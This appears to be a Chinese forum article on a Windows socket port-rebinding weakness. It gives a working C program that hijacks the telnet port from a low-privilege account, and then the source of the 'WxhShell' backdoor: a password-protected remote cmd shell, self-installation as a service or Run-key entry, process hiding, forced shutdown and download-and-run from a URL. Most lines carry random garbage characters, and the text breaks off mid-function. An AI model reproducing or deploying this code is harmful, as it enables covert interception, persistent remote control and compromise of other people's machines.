在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$.(>Sj1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
f&(u[W TD,W *(b saddr.sin_family = AF_INET;
O!sZMGF$p ]}F_nc2L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:gb7Py'C !1dCk/D&)8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
K(Otgp+zb [Y*p
I&f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
El0|.dW GS~jNZx 这意味着什么?意味着可以进行如下的攻击:
GfY!~J 0<Px2/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(I, PC*: vN7a)s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
TH)gW zp"sM
z] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6{}]QvR 6ndt1W
z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`#2}[D rjQV;kX> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<<v,9*h +WK!}xZR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2@1A, -GCGxC2u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#+QwRmJdT! ,S:LhgSP #include
EdE,K1gD #include
~0|Hw.OK #include
z`xdRe{QP #include
a~7`;Ar DWORD WINAPI ClientThread(LPVOID lpParam);
MI!C% int main()
CP'?Om2 {
P$N\o @
WORD wVersionRequested;
&I:5<zK{ DWORD ret;
i=.zkIjSh WSADATA wsaData;
; @-7'%(C BOOL val;
%[-D&flKC SOCKADDR_IN saddr;
$dgY#ST% SOCKADDR_IN scaddr;
; a XcGa int err;
gx#xB8n SOCKET s;
eFp4MD8? SOCKET sc;
<E|i3\[p int caddsize;
N{tNe-5 HANDLE mt;
bB->\ DWORD tid;
X.}:gU- wVersionRequested = MAKEWORD( 2, 2 );
zdzTJiY2[Z err = WSAStartup( wVersionRequested, &wsaData );
:xm,Ok if ( err != 0 ) {
C3u/8Mrt7 printf("error!WSAStartup failed!\n");
OSK3X Qc return -1;
weU'3nNN }
xD,BlDV saddr.sin_family = AF_INET;
PP.QfY4 QnME|j\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
vXAO#'4tm% ?gY^,Ckj saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3u^U\xB saddr.sin_port = htons(23);
0+}42g|_ Z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UIi;&[ {
PF2PMEBx! printf("error!socket failed!\n");
>Olg
lUzA return -1;
4`yCvPu }
casva; val = TRUE;
B<u6Z!Pp2 //SO_REUSEADDR选项就是可以实现端口重绑定的
b
lP@Cn2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)gYsg {
F"1)y>2k printf("error!setsockopt failed!\n");
c3W9" return -1;
s {p-cV }
/bv1R5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
LuM:dJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
T!0o(Pp< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Hm!ffqO_ jNhiY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
XZD9vFj1Z {
6c,]N@,Zw ret=GetLastError();
hOw printf("error!bind failed!\n");
Anr''J&9`H return -1;
cVYDO*N2T }
2$?bLvk listen(s,2);
Q>Voa&tYn while(1)
V`7 {
Ezsb'cUa( caddsize = sizeof(scaddr);
r6S-G{o //接受连接请求
:>4pH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
h\| ~Q.kG if(sc!=INVALID_SOCKET)
h+=xG|1R[5 {
`Sgj!/!F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@{N2I$%6 if(mt==NULL)
d5Hp&tm {
wX5Yo{ printf("Thread Creat Failed!\n");
.'foS>W=t break;
Z>hS&B }
Sk7l&B }
#gn{X!;-; CloseHandle(mt);
\ OPJ*/U }
z`g4 < closesocket(s);
j IO2uTM~ WSACleanup();
g
Va;! return 0;
&[
oW"Q{ }
*^[m?3"W DWORD WINAPI ClientThread(LPVOID lpParam)
RJ}%pA4I {
xXb7/.*qE SOCKET ss = (SOCKET)lpParam;
s Zn@y e^ SOCKET sc;
oZ]^zzoEcg unsigned char buf[4096];
78M%[7Cq<i SOCKADDR_IN saddr;
7sypU1V6 long num;
om_UQgC@r DWORD val;
+"} #4 DWORD ret;
xWRkg$A //如果是隐藏端口应用的话,可以在此处加一些判断
d23;c )'
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
n[[2<s*YJ saddr.sin_family = AF_INET;
UP<B>Y1a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\7V[G6'{ saddr.sin_port = htons(23);
Sb QM!Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RnV#[bM{ {
MZIZ"b printf("error!socket failed!\n");
jJ.isr|` return -1;
ATRB9 }
K&"ZZFd_ val = 100;
itYTV?bd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]v2%h X {
*ggai? ret = GetLastError();
\]Bwib%h return -1;
d\O*Ol*/v }
My6a.Kl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.gQYN2#zb {
eP(|]Rk ret = GetLastError();
!l9i)6W return -1;
q"LE6?hs }
D( \c?X" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
kR0/jEz
C {
}[;{@Zn printf("error!socket connect failed!\n");
1S{AGgls5 closesocket(sc);
62.)fCQ^ closesocket(ss);
S7B\mv return -1;
tl6x@%\ }
to9X2^ while(1)
PAD&sTjE* {
YMG~k3Yb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#i;y[dQ //如果是嗅探内容的话,可以再此处进行内容分析和记录
g:oB j6$
q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
dDrzO*a\ num = recv(ss,buf,4096,0);
Hb&C;lk if(num>0)
$V870
< send(sc,buf,num,0);
SX)o0v+ else if(num==0)
rtxG-a56Q break;
\yhj {QS.k num = recv(sc,buf,4096,0);
1xTNrLW if(num>0)
FZBdQhYF send(ss,buf,num,0);
% `\}# else if(num==0)
pqF!1 break;
P=<>H9p:o }
c BcZ@e; closesocket(ss);
STjk<DP( closesocket(sc);
b3.}m[] return 0 ;
xLShMv} }
+\x}1bNS%j $y_P14
2{|mL`$04< ==========================================================
C2;Hugm4 Y3.^a5o 下边附上一个代码,,WXhSHELL
>F5E^DY ^k2g60] ==========================================================
*{!E`),FX Y52TC@' #include "stdafx.h"
5~FXy{ZIH ZH)thd9^b #include <stdio.h>
Ba}<X;B } #include <string.h>
g/+|gHq^ #include <windows.h>
1|WrJ-Uf #include <winsock2.h>
z1m-t#v: #include <winsvc.h>
qFE(H1hy #include <urlmon.h>
Mi<l;ZP 06]%$-j #pragma comment (lib, "Ws2_32.lib")
m)ENj6A>yP #pragma comment (lib, "urlmon.lib")
+JejnG0 G`r/ te sW #define MAX_USER 100 // 最大客户端连接数
?_`X8Ok #define BUF_SOCK 200 // sock buffer
yJGnN g #define KEY_BUFF 255 // 输入 buffer
"Z]z9( @5j3[e #define REBOOT 0 // 重启
HSj=g}r #define SHUTDOWN 1 // 关机
DQ.; 2W cT|aQM@iW #define DEF_PORT 5000 // 监听端口
:>-&
EkpM'j= #define REG_LEN 16 // 注册表键长度
KY+BXGW* #define SVC_LEN 80 // NT服务名长度
p~yGp]yJ9 YBupC!R // 从dll定义API
9jI5bi) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
b^q%p1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`^df la typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E_H.!pr
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3of0f{ZTj |.?$:D&6 // wxhshell配置信息
MZvxcr{x struct WSCFG {
SnVb D< int ws_port; // 监听端口
~o27~R ] char ws_passstr[REG_LEN]; // 口令
VXO.S)v2J int ws_autoins; // 安装标记, 1=yes 0=no
xM:9XhH1 char ws_regname[REG_LEN]; // 注册表键名
O ]!/fZ;( char ws_svcname[REG_LEN]; // 服务名
:yFmCLZaQ char ws_svcdisp[SVC_LEN]; // 服务显示名
wBz5_ OFVw char ws_svcdesc[SVC_LEN]; // 服务描述信息
m't8\fo^w char ws_passmsg[SVC_LEN]; // 密码输入提示信息
| Zj=E$ int ws_downexe; // 下载执行标记, 1=yes 0=no
s x2\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+[":W?j char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7|DPevrk >Yx,%a@~R };
!bBx' mvu$ // default Wxhshell configuration
y q6:7< struct WSCFG wscfg={DEF_PORT,
%\B@!4] "xuhuanlingzhe",
M7.H;.? 1,
\ZtF,`Z "Wxhshell",
{JtfEna "Wxhshell",
i:2eJ. "WxhShell Service",
@r/f "Wrsky Windows CmdShell Service",
Q#PkfjXS "Please Input Your Password: ",
lnnT_[ni. 1,
@a}\]REn "
http://www.wrsky.com/wxhshell.exe",
7g.3)1 "Wxhshell.exe"
)sLXtV)nm6 };
lpnPd{kE }K|40oO5 // 消息定义模块
' 1D1y' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
qS[KB\RN1 char *msg_ws_prompt="\n\r? for help\n\r#>";
ZjveXrx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
fjLS_Q
;h char *msg_ws_ext="\n\rExit.";
C/ENJ& char *msg_ws_end="\n\rQuit.";
s:*" b' char *msg_ws_boot="\n\rReboot...";
!"SuE)WM char *msg_ws_poff="\n\rShutdown...";
]SL0Mn g8 char *msg_ws_down="\n\rSave to ";
[! YSW' SquuK1P= char *msg_ws_err="\n\rErr!";
-"5r-q q* char *msg_ws_ok="\n\rOK!";
s&L 6C[ zRFvWOxC\ char ExeFile[MAX_PATH];
UF;iw int nUser = 0;
zXGi HANDLE handles[MAX_USER];
AEo int OsIsNt;
%Krf,H ^q\9HBHT SERVICE_STATUS serviceStatus;
Y))x'<T'Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
"bA8NQIP 9uW\~DwsZ% // 函数声明
mI,!8# int Install(void);
:xZ^Jq91 int Uninstall(void);
Rv|X\Wm int DownloadFile(char *sURL, SOCKET wsh);
[4b_`L int Boot(int flag);
-5GRit1q? void HideProc(void);
eVRjU int GetOsVer(void);
Jj7he(!_1 int Wxhshell(SOCKET wsl);
Rz"gPU4;` void TalkWithClient(void *cs);
.Lp\Jyegs int CmdShell(SOCKET sock);
Pk^W+M_)~ int StartFromService(void);
+&.wc;mi int StartWxhshell(LPSTR lpCmdLine);
RP%7M8V){B fcisDu8n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}5=tUfh)]' VOID WINAPI NTServiceHandler( DWORD fdwControl );
gUrXaD# a[7Lqu // 数据结构和表定义
lO=~&_ SERVICE_TABLE_ENTRY DispatchTable[] =
h`pXUnEZ {
5^Ps(8VbS {wscfg.ws_svcname, NTServiceMain},
_e$T'*q {NULL, NULL}
q]wP^;\Jl };
GI)eq:K_U8 S\ ) ~9? // 自我安装
"U*6?]f int Install(void)
lH"4"r {
V]P%@<C char svExeFile[MAX_PATH];
VP_S[+Zv~ HKEY key;
qx`)M3Mu|< strcpy(svExeFile,ExeFile);
f~{4hVA E\vW>g*W // 如果是win9x系统,修改注册表设为自启动
/>dYk Iv if(!OsIsNt) {
xnPi'?A] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W6jdS;3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-P We RegCloseKey(key);
,m1F<Pdts if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M6H#Y2!ZbC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[]hC* RegCloseKey(key);
&'oZ]}^0 return 0;
f~w!Z }
8'o6: }
b9 TsuY }
O^sOv!!RH/ else {
xMHu:,ND iDV.C@ // 如果是NT以上系统,安装为系统服务
tVhf1TH# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$kd9^lj#[ if (schSCManager!=0)
@Q%<~b[y {
(!0fmL SC_HANDLE schService = CreateService
tl^![Z (
y28 e=i schSCManager,
#pr{tL wscfg.ws_svcname,
y\zRv(T= wscfg.ws_svcdisp,
wMU}EoGS? SERVICE_ALL_ACCESS,
=k:yBswi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lFbf9s:$B SERVICE_AUTO_START,
Jq_AR!} % SERVICE_ERROR_NORMAL,
FwqaWEk svExeFile,
<L+y
6B NULL,
IRIYj(J NULL,
EJ=ud9 NULL,
48RSuH NULL,
U flS` NULL
s|IC;C| );
Ms14]M[\ if (schService!=0)
4Bk9d\z {
C(}N*e1 CloseServiceHandle(schService);
w=QW8q? CloseServiceHandle(schSCManager);
KYR64[1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:Hq#co strcat(svExeFile,wscfg.ws_svcname);
`w EAU7m: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z Z9D6+R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9;R'Xo=y RegCloseKey(key);
tWaM+W return 0;
VQ^}f/A }
>Qx
:l#B }
!30BR|K* CloseServiceHandle(schSCManager);
T[ltOQw?Y }
PAS0 D
# }
u_jhmKr~ 4#lOAzDtv return 1;
4}Dfi5:
}
][ 1
iKT # b94S?dq // 自我卸载
n
'E:uXv" int Uninstall(void)
+MyXIWmD {
# "!q_@b,D HKEY key;
m*~Iu<5L c|<E~_.w@ if(!OsIsNt) {
]?lUe5F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rObg:(z&\ RegDeleteValue(key,wscfg.ws_regname);
|H
,-V; RegCloseKey(key);
ph>0?Z =bn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!z2 KQ
4C RegDeleteValue(key,wscfg.ws_regname);
X{ f#kB]w RegCloseKey(key);
&9F(C R return 0;
_m*FHi }
A8T8+M: }
K(}g!iT)~ }
)6*)u/x: else {
IIO-Jr RiiwsnjC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P@FE3g if (schSCManager!=0)
!yD$fY {
tA{hx- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
x*!%o(G if (schService!=0)
OQiyAyX {
DdCNCXU if(DeleteService(schService)!=0) {
8 t`lRWJ CloseServiceHandle(schService);
7&
'p"hF CloseServiceHandle(schSCManager);
85qD~o?O return 0;
HwZ"l31 }
@7`=0;g CloseServiceHandle(schService);
1"f)\FPGe }
v\dP CloseServiceHandle(schSCManager);
{'z( }
|vtj0,[ }
wyB $[V-M\q return 1;
PnZY%+[I }
HpIWH* =fK6P6'B // 从指定url下载文件
yR1v3D4E int DownloadFile(char *sURL, SOCKET wsh)
d-`z1' {
::sk) HRESULT hr;
0SV4p. char seps[]= "/";
<op|yh3Jkk char *token;
w7Ij=!) char *file;
11?d,6Jl char myURL[MAX_PATH];
#oJ%i+V char myFILE[MAX_PATH];
=[LUOOR*] 65U&P5W strcpy(myURL,sURL);
L\xR<m<, token=strtok(myURL,seps);
<+_WMSf;4 while(token!=NULL)
p|Qn?^C: {
?H!QV;ku file=token;
e[Jh7r>' token=strtok(NULL,seps);
..Bf-)w }
S|r,RBeZ
=w ! 6un GetCurrentDirectory(MAX_PATH,myFILE);
g17 fge6% strcat(myFILE, "\\");
ET;-'vd strcat(myFILE, file);
''H;/&nDX send(wsh,myFILE,strlen(myFILE),0);
6e%ZNw{#= send(wsh,"...",3,0);
=0mn6b9-= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DLO2$d if(hr==S_OK)
Ie(M9QMp return 0;
cC]lO else
Q!{,^Qb return 1;
?*&5`Xh Yc^,Cj{OM }
,"5][RsOn RMlx[nsq // 系统电源模块
LwcAF g| int Boot(int flag)
E| y
{
h-6x! 6pm HANDLE hToken;
v+C%t!dx TOKEN_PRIVILEGES tkp;
0t%`jY~% upiYo(sN. if(OsIsNt) {
UBw*}p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ny1Dg$ui2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]h'*L` tkp.PrivilegeCount = 1;
Lum5Va%0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`5SQ4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HL%|DCo if(flag==REBOOT) {
G
UK%RC8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
auAwZi/ return 0;
[D2<) }
2 }rYH;Mx else {
H`
h]y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
h/]));p return 0;
dg#w!etB }
R%"'k<`# }
PAXm else {
:"gu=u! if(flag==REBOOT) {
K_%gda|l+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4e?MthJ> return 0;
pYh\l.@qf }
DDe`Lb%% else {
_8e0vi!~2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~:99
)AOM return 0;
Bh;N:{&^Eu }
{bNVNG^ }
}(!3)k7* G%>M@nYUE return 1;
|xrnLdng0R }
\lF-]vz* Bw>)gSB5$k // win9x进程隐藏模块
?8YbTn1f) void HideProc(void)
ijmGk:L( {
_|7bpt9 mXI'=Vo!S HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6L3i
if ( hKernel != NULL )
NXOcsdcZu {
>aT~G!y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
JZ/T:Hsh4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*fI\|%K FreeLibrary(hKernel);
n(
zzH }
t@jke )H+ p6< return;
W4=A.2[q }
uP.dCs9- bycnh // 获取操作系统版本
Zou;o9Ww int GetOsVer(void)
P>'29$1' {
lQpl8> OSVERSIONINFO winfo;
D&1(qi=x& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]xPy-j6C GetVersionEx(&winfo);
^GNL:D%6d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ks-$([_F return 1;
zGa
V^X else
,,;vG6^a return 0;
NG?g( }
t(UdV 04:QEC"9mj // 客户端句柄模块
uG(XbDZZ1W int Wxhshell(SOCKET wsl)
EPU3Jban
{
[0lO0ik>G SOCKET wsh;
.:=5|0m struct sockaddr_in client;
!UHX?<3r DWORD myID;
yeA]j[ # fa!8+kfi while(nUser<MAX_USER)
>^D5D%" {
sLf~o"yb int nSize=sizeof(client);
l_pf9!z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z9j`<VgN
if(wsh==INVALID_SOCKET) return 1;
G4uA&"OE ,;n[_f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
lD$\t/8B if(handles[nUser]==0)
>XW-W closesocket(wsh);
D[`~=y( else
-fOBM 4 nUser++;
@ X5#? }
~'N+O K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)gV @6w ?L6wky{ return 0;
7h`t-6<!q }
Xt!wOW `o21f{1]X& // 关闭 socket
)1f.=QZN^; void CloseIt(SOCKET wsh)
T-Yb|@4 {
]j]<CqG closesocket(wsh);
Kxi@"<`S nUser--;
63kZ#5g(Dw ExitThread(0);
TjOK8
t }
rq:sy=; s` =&l // 客户端请求句柄
!{vZvy" void TalkWithClient(void *cs)
Pb<6-Jc[ {
on
4
$n7 6E9o*YSk SOCKET wsh=(SOCKET)cs;
'r rnTd c char pwd[SVC_LEN];
ON"p^o>/_? char cmd[KEY_BUFF];
AJ
z 1 char chr[1];
i:H]Sb)<b int i,j;
x^McUfdr| ol}}c6 while (nUser < MAX_USER) {
zIr4!|X 3*-!0 if(wscfg.ws_passstr) {
yUs/lI, Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h;A~:}c, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kb!W|l"PN //ZeroMemory(pwd,KEY_BUFF);
%DKC/% i=0;
8F/zrPG while(i<SVC_LEN) {
YTg8Zg-Z XpPcQIM* // 设置超时
=)J)xH!N fd_set FdRead;
(/7cXd@\6 struct timeval TimeOut;
YD#L@:&gv FD_ZERO(&FdRead);
mteQRgC FD_SET(wsh,&FdRead);
{"O-/*
f+( TimeOut.tv_sec=8;
\mqrDaB TimeOut.tv_usec=0;
NRI[| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
eh,_g. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G<Urj+3/Xo 3&R1C>JS ] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fONycXM] pwd
=chr[0]; ?gCP"~
if(chr[0]==0xd || chr[0]==0xa) { v)nBp\fjxp
pwd=0; %&eBkN!T
break; B[5<&
} Gz2\&rmN
i++; QV
-ZP'e^
} m?=J;r"Re
TJ|do`fw>
// 如果是非法用户,关闭 socket {x~r$")c?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "ZuA._
} \"d\b><R
uCgJF@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NKRm#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >AWWwq -
@*WrHoa2N
while(1) { <2wC)l3j*
f DPLB[
ZeroMemory(cmd,KEY_BUFF); .f|)od[
DH uUEv<
// 自动支持客户端 telnet标准 h]}DMVV]
j=0; tUGF8?&
G
while(j<KEY_BUFF) { ()Qq7/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M$} AJS%8
cmd[j]=chr[0]; mqDI'~T9 u
if(chr[0]==0xa || chr[0]==0xd) { Yw\lNhoPS
cmd[j]=0; rpEN\S%7P
break; E9]*!^=/
} PR%n>a#
j++; T%E/k#
)q
} 9Z DbZc
[}5mi?v
// 下载文件 E`|vu*l7
if(strstr(cmd,"http://")) { 3S
@)Ans
send(wsh,msg_ws_down,strlen(msg_ws_down),0); M]xfH *
if(DownloadFile(cmd,wsh)) z~/e\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>2]m[53
else >|mZu)HIY;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Ep!
} 3teP6|K'g
else { xdMY2u
z7pw~Tqlz
switch(cmd[0]) { QE721y
k{bC3)'$#R
// 帮助 {gzVbZ#
case '?': { CW FE{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ),2|TlQ
break; ,M$h3B\;r
} FLIU}doc
// 安装 'ZAIe7i&
case 'i': { KLjvPT\
if(Install()) \/-4 jF:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]c~[&x5&
else NMzq10M=6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PoLk{{l3
break; :.(A,
} Z7k ku:9
// 卸载 r-a0XNS*
case 'r': { {9{PU&?(
if(Uninstall()) t(}g;O-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7v}(R:*
else BCX2C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nnfq!%
break; N(P2Lo{JF
} GE=PaYz
// 显示 wxhshell 所在路径 >[Tt'.S!?
case 'p': { RL*b47,
char svExeFile[MAX_PATH]; R`,|08E
strcpy(svExeFile,"\n\r"); JD9=gBN\?
strcat(svExeFile,ExeFile); D58RHgY[
send(wsh,svExeFile,strlen(svExeFile),0); 2I7|hZ,
break; )!;20Po
} #X0Xc2}{f
// 重启 !t?5U_on
case 'b': { Lz!H@)-mr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fr}.#~{5Y
if(Boot(REBOOT)) 1?G%&X@
X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^-F#"i|Cn
else { ^?|d< J:{
closesocket(wsh); i?,\>LTG
ExitThread(0); AEUR`.
}
j} w
break; AqHGBH0
} w*X(bua@
// 关机 *n EG<Y)
case 'd': { bm h@SB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G/_xn5XDD
if(Boot(SHUTDOWN)) ux)Wh.5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +W8kMuM!
else { Hm+VGH'H?
closesocket(wsh); 2'Raj'2S4
ExitThread(0); }0]iS8*tL
} PGuPw'2;[
break; ]$Q@4=fb
} @X P_~ N
// 获取shell .pH 4[~
case 's': { /?a9g>G%N
CmdShell(wsh); aO2zD<d
closesocket(wsh); )k]{FM
ExitThread(0); ]ZH6
.@|
break; HcrlcxwM\i
} 5UX- Qqr
// 退出 Tq?f5swsI
case 'x': { z>b^Ui0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); # wyjb:Ql
CloseIt(wsh); [}4\CWM
break; l-5O5|C
} rl-#Ez
// 离开 cfy9wD
case 'q': { ]hRs -x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); L@J$kqWY
closesocket(wsh); UJjtDV3@_g
WSACleanup(); JURg=r]LI
exit(1);
iF_u/#
break; YoZd,} i
} ygd*zy9
} O9RnS\
} ry+|gCZ
_>^Y0C[?5
// 提示信息 4tSh.qBht
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \w-3Spk*
} oG-Eac,
} pp2 Jy{\d
rddn"~lm1
return; v!=e]w6{
} Z1p%6f`
5!jt^i]O
// shell模块句柄 D0Ls~qr
int CmdShell(SOCKET sock) Ga`
8oY+~
{ bPMf='F{r
STARTUPINFO si; SQN{/")T
ZeroMemory(&si,sizeof(si)); D'Uc?2X,&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SCjVzvG$yg
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2o7o~r
PROCESS_INFORMATION ProcessInfo; BF"eVKA
char cmdline[]="cmd"; M>i *e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u3DFgl3-7
return 0; g@]1H41
} .!'rI7Kz'i
4$4Tx9C
// 自身启动模式 S+?*l4QK
int StartFromService(void) |BO5<`&I
{ >b~Q%{1
typedef struct !Nbi&^k B
{ `.wgRUhFH;
DWORD ExitStatus; w1
A-_
DWORD PebBaseAddress; }IQ! [T5
DWORD AffinityMask; [geT u
DWORD BasePriority; Djf~8q V!
